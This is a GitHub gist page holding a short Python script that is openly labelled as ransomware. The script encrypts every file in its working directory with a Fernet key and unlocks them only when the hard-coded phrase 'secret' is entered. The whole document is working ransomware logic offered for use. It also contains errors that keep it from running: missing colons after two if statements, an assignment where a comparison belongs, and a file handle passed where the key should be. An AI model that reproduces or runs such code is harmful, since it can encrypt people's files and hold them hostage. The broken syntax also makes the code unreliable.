Skip to content

Instantly share code, notes, and snippets.

@peevees
Created May 17, 2022 16:22
Show Gist options
  • Save peevees/92216061a93f07b4547b9cba15c8b5f7 to your computer and use it in GitHub Desktop.
Save peevees/92216061a93f07b4547b9cba15c8b5f7 to your computer and use it in GitHub Desktop.
Simple python ransomware script, to encrypt files in the same directory
#!/usr/bin/env python3
import os
from cryptography.fernet import Fernet
# Find files
scriptname = "simple-ransomware.py"
keyName = "theykey.key"
files = []
for file in os.listdir():
if file == scriptname or file == keyName:
continue
if os.path.isfile(file)
files.append(file)
#print(files)
key = Fernet.generate_key()
#print(key)
# encrypt
with open(keyName, "wb") as thekey:
thekey.write(key)
for file in files:
with open(file, "rb") as thefile:
contents = thefile.read()
contents_encrypted = Fernet(key).encrypt(contents)
with open(file, "wb") as thefile:
thefile.write(contents_encrypted)
print("all files encryped")
#decrypt
secretphrase = "secret"
user_phrase = input("Enter the secret phrase for decrypting\n")
if user_phrase = secretphrase
with open(keyName, "rb") as key:
secretkey = key.read()
for file in files:
with open(file, "rb") as thefile:
contents = thefile.read()
contents_decrypted = Fernet(key).decrypt(contents)
with open(file, "wb") as thefile:
thefile.write(contents_decrypted)
print("all files decryped")
else:
print("That is the wrong secret phrase")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment